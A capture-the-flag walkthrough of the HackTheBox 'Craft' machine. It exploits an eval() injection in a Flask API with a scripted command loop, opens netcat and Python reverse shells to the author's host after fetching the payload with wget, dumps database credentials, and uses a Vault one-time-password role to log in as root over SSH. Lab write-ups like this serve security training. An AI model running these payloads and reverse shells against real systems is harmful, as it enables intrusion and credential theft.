HackTheBox - Craft

— Written by — 13 min read
craft-hackthebox

Craft was very interesting and well designed box. It was a not so straight forward to solve and mainly based on configuration mistakes rather than exploits. That makes it more interesting in my opinion since we get closer to real life scenarios. I also learned a few tricks on this one.

Tl;Dr: The user flag was accessible after finding the main API credentials in the Git history of the project. With access to the code source and the API itself, we find a vulnerability allowing Remote Code Execution. This RCE leads to a shell inside of a Docker. From this shell we access the API config files containing database connection settings allowing us to extract users credentials stored there. The credentials let us access to gilfoyle repositories where one contains his SSH key backup. Using this SSH key we connect to his account and grab the user flag.
The root flag was accessible after using Vault instance configured on the box to generate a One Time Password for the SSH root account. We connect through SSH using this password and get the flag.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the host file:

1
[[email protected] ~]$ echo "10.10.10.110 craft.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ nmap -sV -sT -sC craft.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-20 01:26 CEST
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.048s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 17.15 seconds

We have a classical web app running on port 443 and the ssh port 22 open.

Opening http://craft.htb display the following website :

Craft Website

The website is super simple but give us two valuable information:

  • A gogs instance is running (gogs is a self-hosted Git service written in Go) at https://gogs.craft.htb/
  • An API is running and its documentation available at https://api.craft.htb/api/

We need to add those two in our /etc/hosts/ file to be able to access it :

1
2
[[email protected] ~]$ echo "10.10.10.110 gogs.craft.htb" >> /etc/hosts
[[email protected] ~]$ echo "10.10.10.110 api.craft.htb" >> /etc/hosts

Following this, https://gogs.craft.htb displays:

Gogs instance Craft website

and https://api.craft.htb displays:

Craft API website

We have the source code and the documentation of the API. That will surely be our entry point.

Out of curiosity I checked for exploit on Gogs and found CVE-2018-18925 and CVE-2018-20303:

Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a “..” session-file forgery in the file session provider in file.go.
https://nvd.nist.gov/vuln/detail/CVE-2018-18925

In pkg/tool/path.go in Gogs before 0.11.82.1218, a directory traversal in the file-upload functionality can allow an attacker to create a file under data/sessions on the server.
https://nvd.nist.gov/vuln/detail/CVE-2018-20303

An exploit is also available (GogsOwnz) and allows to gain administrator rights and RCE on a Gogs/Gitea server.

Unfortunately the footer of https://gogs.craft.htb shows that the version used is not a vulnerable one :

© 2018 Gogs Version: 0.11.86.0130

This confirms that our entry point will probably be the api. Let’s investigate.

We have access to the source code it will greatly help our investigation. The API is written in Python using the Flask framework.

Let’s clone it to check the code more easily :

1
[[email protected] ~]$ GIT_SSL_NO_VERIFY=true git clone https://gogs.craft.htb/Craft/craft-api.git

Remote code execution on API

The first thing I do when doing static code analysis is checking if dangerous functions are used and can be exploited for command injection. It’s the easiest way to land a shell on a box.
If this search don’t give any results I will move on to SQL injection and so on.

The most common way command injection vulnerability get introduced in Python is by the use of eval() function which is used to run the Python code (passed as argument) within the program.

A quick grep will tell us if such function is used within the API:

1
2
[[email protected] ~]$ grep -ri "eval" craft-api
craft-api/craft_api/api/brew/endpoints/brew.py: if eval('%s > 1' % request.json['abv']):

We are lucky, and just by the look of the line it seems like no sanitization is done and the abv request parameter is directly run through eval().

Reading through the code of brew.py confirm the suspicion:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""

# make sure the ABV value is sane.

if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201

Any Python code sent in the request abv parameter will get interpreted.

Unfortunately @auth.auth_required inform us that we will first need a way to authenticate ourselves before being able to use this vulnerable endpoint.

After reading the documentation and the source code, it doesn’t seem there is any way to create a new account or use an already made token to authenticate to the API. We need to find another way to authenticate.

Since we have access to the git repository, we can try to exploit common flaw found in git/svn repositories. The most common issue is developers accidentally push API keys, token or password to the repository.

There is a few good tools like truffleHog or git-secrets that allows to automatically retrieve secrets and credentials accidentally committed.

Since there is only 6 commits in history we can manually review them to make sure we don’t forget anything.

At commit a2d28ed155 we find an interesting cleanup:

Commit cleanup

Let’s try to use those credentials to authenticate to the API:

1
2
3
4
[[email protected] ~]$ curl "https://api.craft.htb/api/auth/login" -k --user dinesh:4aUh0A8PbVJxgd
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNTc5ODMwfQ.JpQJlqqc_pYA6Pd3ILx4zDOaXSPYwJ6yMELyIWXDDCE"}
[[email protected] ~]$ curl -H "X-Craft-Api-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNTc5ODMwfQ.JpQJlqqc_pYA6Pd3ILx4zDOaXSPYwJ6yMELyIWXDDCE" "https://api.craft.htb/api/auth/check" -k
{"message":"Token is valid!"}

We are authenticated! Note here that this API doesn’t use the usual Authorization: Bearer <token> header but a custom header in the format X-Craft-Api-Token: <token>. It can be easy to overlook this one, that’s why taking time to read the code and understanding the inner workings of the app is important.

1
2
# craft_api/api/auth/endpoints/auth.py
token = request.headers['X-Craft-Api-Token']

We have now all the needed information to perform our command injection :)

Since we need to authenticate and perform multiple queries on the /brew endpoint it’s better to write a script instead of having to do a thousand of curl request.

No need to start from scratch since craft-api/tests/test.py already provide a solid base. I tweaked it a little to end up with this script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']

headers = {'X-Craft-API-Token': token, 'Content-Type': 'application/json'}

response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text) # make sure token is valid

while True:
cmd = input('> ')

brew_dict = {}
brew_dict['abv'] = '__import__("os").popen("{}").read()'.format(cmd)
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)

Since eval() will run any python code we will use this lambda function __import__("os").popen("CMD").read() to run an OS command from the python code.

I added an input('> ') so we simply have to type our command to run it on the API. Shell style.

Unfortunately we don’t have any output available, so how are we going to know that our command executed successfully ?

With time-based injection ;)

We are going to inject a sleep 3 command at each run:

  • If the API hang for 3 seconds, it means our command got executed successfully
  • If the API respond immediately, the injection failed.

Using the requests library elapsed.total_seconds() function, we can display the time elapsed for the request to success.

I add it to the script so we can easily see if the sleep 5 injection worked fine.

1
2
[...]
print("Execution time: {}".format(response.elapsed.total_seconds()))

Let’s it give a try:

1
2
3
4
5
6
7
8
[[email protected] ~]$ python test.py
{"message":"Token is valid!"}

> test
Execution time: 0.147798
> sleep 3
Execution time: 3.158874
>

Looks like it works fine ! Let’s tweak our script a bit to be more comfortable to use:

1
2
- brew_dict['abv'] = '__import__("os").popen("{}").read()'.format(cmd)
+ brew_dict['abv'] = '__import__("os").popen("{} && sleep 3").read()'.format(cmd)

The usage of && sleep 3 means that the sleep command will only get executed if the first command succeeded. This technique will allow us to blindly learn about the box environment.

Here is an example to illustrate:

1
2
3
4
5
6
7
[[email protected] ~]$ python test.py
{"message":"Token is valid!"}

> curl --help
Execution time: 0.162407
> wget --help
Execution time: 3.160078

Since wget --help command took 3 seconds to execute this means that the command ran fine. While curl --help failed, the sleep 3 didn’t start meaning curl is not probably not installed.

This little trick will allow us to have a valuable feedback to know if our command succeed or fail.

Let’s try to open our classic reverse shell. Start with our listener:

1
2
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585

And launch our test script on the API:

1
2
3
4
5
6
7
8
[[email protected] ~]$ python test.py
{"message":"Token is valid!"}

> nc -e /bin/sh 10.10.10.85 8585
Execution time: 0.218422
> nc --help
Execution time: 3.412322
>

Oddly enough this is not working, whereas nc seems to be installed. That’s strange but let’s move on to a different type of reverse shell. Since we know for sure that Python is installed let’s use a Python reverse shell.

To make things easier let’s launch a small http server to host our python reverse shell file:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ cat hg8.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.85",8585));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

And back to our original terminal let’s launch our injection:

1
2
3
4
5
6
[[email protected] ~]$ python test.py
{"message":"Token is valid!"}

> wget 10.10.10.85:8000/hg8.py -O /tmp/hg8.py
Execution time: 1.15602
> python /tmp/hg8.py

And surely enough a connection open on our netcat listener:

1
2
3
4
5
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.110:57154
/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Note: Now that we are on the box we can investigate on why our original netcat command wasn’t working. Turn out the netcat version shipped in this box in a Busybox version. The manual state:

1
2
3
4
5
6
7
8
/opt/app # nc
BusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary.

Usage: nc [OPTIONS] HOST PORT - connect
nc [OPTIONS] -l -p PORT [HOST] [PORT] - listen

-e PROG Run PROG after connect (must be last)
[...]

In this version -e option must be last. So if we ran nc 10.10.10.85 8585 -e /bin/sh instead of nc -e /bin/sh 10.10.10.85 8585 the command would have succeeded perfectly. I tried and it worked. Odd but good to keep in mind for the future.

Pivot from docker container to user

Now back to our topic. We got our shell on the API. Unfortunately as you noticed with the id command, it seems like we are in a docker container. We probably won’t go far from here.

Our best bet might be to retrieve the API secrets to see if we can progress from here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

We got the database credentials. Let’s try to dump it for juicy informations:

1
2
/opt/app # mysql
/bin/sh: mysql: not found

Of course, in this jail no mysql available either… Earlier I noticed a database test script. We will edit and use this python script since nothing else is available.

First, let’s list the tables :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
import pymysql
from craft_api import settings

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT table_name FROM information_schema.tables;"
cursor.execute(sql)
result = cursor.fetchall()
for row in result:
print(row)

finally:
connection.close()

Running this script will return two tables: brew and users.

Let’s list the users by editing the dbtest.py script :

1
2
- sql = "SELECT table_name FROM information_schema.tables;"
+ sql = "SELECT * FROM user;"
1
2
3
4
/opt/app # python dbtest.py
{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}

Good, a few users with plain-text passwords. Unfortunately none works on SSH…

So what remains? Let’s go back to the Gogs instance. Login as gilfoyle gives us access to a very interesting private repository:

Craft Infra Repository

Let’s clone it to explore:

1
[[email protected] ~]$ GIT_SSL_NO_VERIFY=true git clone https://gilfoyle:[email protected]/gilfoyle/craft-infra.git

First thing that catches the eye is the .ssh folder containing both the public and private key. We should be able to use to login as gilfoyle through SSH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[[email protected] ~]$ chmod 600 .ssh/id_rsa
[[email protected] ~]$ ssh [email protected] -i id_rsa

. * .. . * *
* * @()Ooc()* o .
([email protected]*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/

Enter passphrase for key 'id_rsa':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

Last login: Sun Oct 20 06:26:05 2019 from 10.10.15.50
[email protected]:~$

A passphrase is needed for the id_rsa key, fortunately we have a case of password reuse and the password ZEU3N8WNM2rh4T found in the database dump is valid.

1
2
[email protected]:~$ cat user.txt
bxxxxxxxxxxxxxxxxxxxxxxx4

Root Flag

Recon

On user gilfoyle nothing particularly catch the eye and the box seems well configured.

Upon more enumeration we still notice an uncommon ssh configuration :

1
2
3
4
[email protected]:~$ cat /etc/ssh/sshd_config
[...]
PermitRootLogin yes
[...]

It looks like our entry door for root flag will be through SSH.

Inspecting files in the home directory also shows a token that might be useful:

1
2
3
4
[email protected]:~$ ls -a
. .. .bashrc .config .gnupg .profile .ssh user.txt .vault-token .viminfo
[email protected]:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

We notice this is about Vault again, we saw it already mentioned in the craft-infra repository. Let’s dig that way.

I didn’t know anything about Vault at the time so I checked their website :

Vault is a tool for secrets management, encryption as a service, and privileged access management.
https://www.vaultproject.io/

That sounds really interesting for what we need…

Exploiting Vault for SSH root password

If we put all the puzzle pieces together it seems like this tool is storing either the root account SSH password or a way to access the root account.

The file craft-infra/src/master/vault/secrets.sh on the craft-infra repository looks promising :

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0

It confirms that Vault is used for ssh access to root. key_type=otp seems to mean that it’s working as a one-time password mechanism.

After a bit of Googling we find this documentation on Vault:

The One-Time SSH Password (OTP) SSH secrets engine type allows a Vault server to issue a One-Time Password every time a client wants to SSH into a remote host using a helper command on the remote host to perform verification.
https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html

Alright, we have all the needed information. Let’s generate a One-Time Password for the root account!

From here I will follow the documentation linked above. First we need to mount the secrets engine:

1
2
[email protected]:~$ vault secrets enable ssh
Successfully mounted 'ssh' at 'ssh'!

Then we create a role with the key_type parameter set to otp. I will use the same command than the one in craft-infra/src/master/vault/secrets.sh to make sure we are not missing anything:

1
2
3
4
5
[email protected]:~$ vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
Success! Data written to: ssh/roles/root_otp

Last step we create an OTP credential for an IP of the remote host that belongs to otp_key_role:

1
2
3
4
5
6
7
8
9
10
11
[email protected]:~$ vault write ssh/creds/root_otp ip=10.10.10.110
Key Value
--- -----
lease_id ssh/creds/root_otp/15c8d88c-4e1a-6ec6-4cbb-616cf25e1a7d
lease_duration 768h
lease_renewable false
ip 10.10.10.110
key 3d32eb8a-61b1-3376-4402-dd15e72206f8
key_type otp
port 22
username root

Seems like everything went fine. Let’s launch a new terminal and try to login as root :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[[email protected] ~]$ ssh [email protected]

. * .. . * *
* * @()Ooc()* o .
([email protected]*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/

Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

Last login: Sun Oct 20 06:10:03 2019 from 127.0.0.1
[email protected]:~# cat root.txt
8xxxxxxxxxxxxxxxxxxx1

This box was really a fun time and my favorite so far. As always do not hesitate to contact me for any questions or feedback.

See you next time !

-hg8



CTFHackTheBoxMedium Box
, , , , , , , ,